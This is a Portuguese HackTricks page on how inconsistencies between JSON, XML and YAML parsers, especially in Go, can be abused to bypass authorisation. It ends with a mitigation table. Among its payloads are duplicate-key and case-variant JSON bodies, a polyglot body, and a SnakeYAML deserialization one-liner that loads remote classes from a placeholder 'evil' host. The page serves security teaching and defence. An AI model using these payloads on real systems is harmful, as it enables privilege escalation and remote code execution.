JSON, XML & Yaml Hacking & Issues
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Go JSON Decoder
Os seguintes problemas foram detectados no JSON do Go, embora possam estar presentes em outras linguagens também. Esses problemas foram publicados em this blog post.
Os parsers JSON, XML e YAML do Go têm uma longa trilha de inconsistências e padrões inseguros que podem ser abusados para bypass authentication, escalate privileges, ou exfiltrate sensitive data.
(Un)Marshaling Unexpected Data
O objetivo é explorar structs que permitem a um atacante ler/escrever campos sensíveis (por exemplo, IsAdmin, Password).
- Struct de exemplo:
 
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
- Vulnerabilidades Comuns
 
- Missing tag (no tag = field is still parsed by default):
 
type User struct {
Username string
}
Payload:
{"Username": "admin"}
- Uso incorreto de 
-: 
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Payload:
{"-": true}
✔️ Maneira correta de bloquear um campo para que não seja (un)marshaled:
type User struct {
IsAdmin bool `json:"-"`
}
Diferenças entre parsers
O objetivo é contornar a autorização explorando como diferentes parsers interpretam o mesmo payload de forma diferente, como em:
- CVE-2017-12635: Apache CouchDB bypass via chaves duplicadas
 - 2022: Zoom 0-click RCE via inconsistência do parser XML
 - GitLab 2025 SAML bypass via peculiaridades do XML
 
1. Campos duplicados:
O encoding/json do Go considera o último campo.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Outros parsers (por exemplo, Java’s Jackson) podem escolher o primeiro.
2. Insensibilidade a maiúsculas/minúsculas: Go é insensível a maiúsculas/minúsculas:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Até truques com Unicode funcionam:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Incompatibilidade entre serviços:
Imagine:
- Proxy escrito em Go
 - Serviço AuthZ escrito em Python
 
Atacante envia:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python vê 
UserAction, permite - Go vê 
AdminAction, executa 
Confusão de Formato de Dados (Polyglots)
O objetivo é explorar sistemas que misturam formatos (JSON/XML/YAML) ou que falham abertamente em caso de erros de parser como:
- CVE-2020-16250: HashiCorp Vault analisou JSON com um parser XML depois que o STS retornou JSON em vez de XML.
 
O atacante controla:
- O cabeçalho 
Accept: application/json - Controle parcial do corpo JSON
 
O parser XML do Go o analisou de qualquer forma e confiou na identidade injetada.
- Payload criado:
 
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
Resultado:
- Go JSON parser: 
Action_2(insensível a maiúsculas/minúsculas + o último prevalece) - YAML parser: 
Action_1(sensível a maiúsculas/minúsculas) - XML parser: analisa "Action_3" dentro da string
 
Vulnerabilidades notáveis de parser (2023-2025)
As seguintes falhas exploráveis publicamente mostram que o parsing inseguro é um problema entre várias linguagens — não apenas um problema do Go.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- Afeta: 
org.yaml:snakeyaml< 2.0 (usado por Spring-Boot, Jenkins, etc.). - Causa raiz: 
new Constructor()desserializa classes Java arbitrárias, permitindo cadeias de gadgets que culminam em execução remota de código. - One-liner PoC (abrirá a calculadora na máquina vulnerável):
 
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Correção / Mitigação:
 
- Atualize para ≥2.0 (usa 
SafeLoaderpor padrão). - Em versões antigas, use explicitamente 
new Yaml(new SafeConstructor()). 
libyaml Double-Free (CVE-2024-35325)
- Afeta: 
libyaml≤0.2.5 (biblioteca C utilizada por muitas language bindings). - Problema: Chamar 
yaml_event_delete()duas vezes causa um double-free que atacantes podem transformar em DoS ou, em alguns cenários, heap exploitation. - Status: Upstream rejeitou como “API misuse”, mas distribuições Linux lançaram 0.2.6 com patch que libera o ponteiro para NULL defensivamente.
 
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Afeta: Tencent RapidJSON antes do commit 
8269bc2(<1.1.0-patch-22). - Falha: Em 
GenericReader::ParseNumber()aritmética sem verificação permite que atacantes criem literais numéricos enormes que fazem wrap-around e corrompem o heap — possibilitando, em última instância, privilege-escalation quando o grafo de objetos resultante é usado para decisões de autorização. 
🔐 Mitigações (Atualizadas)
| Risco | Correção / Recomendação | 
|---|---|
| Campos desconhecidos (JSON) | decoder.DisallowUnknownFields() | 
| Campos duplicados (JSON) | ❌ Sem correção na stdlib — valide com jsoncheck | 
| Correspondência case-insensitive (Go) | ❌ Sem correção — valide tags de struct + pré-canonicalize a entrada | 
| XML garbage data / XXE | Use um parser reforçado (encoding/xml + DisallowDTD) | 
| Chaves desconhecidas (YAML) | yaml.KnownFields(true) | 
| Unsafe YAML deserialization | Use SafeConstructor / atualize para SnakeYAML ≥2.0 | 
| libyaml ≤0.2.5 double-free | Atualize para 0.2.6 ou para a release distro-patched | 
| RapidJSON <patched commit | Compile contra a versão mais recente do RapidJSON (≥July 2024) | 
Veja também
Referências
- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
 - Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks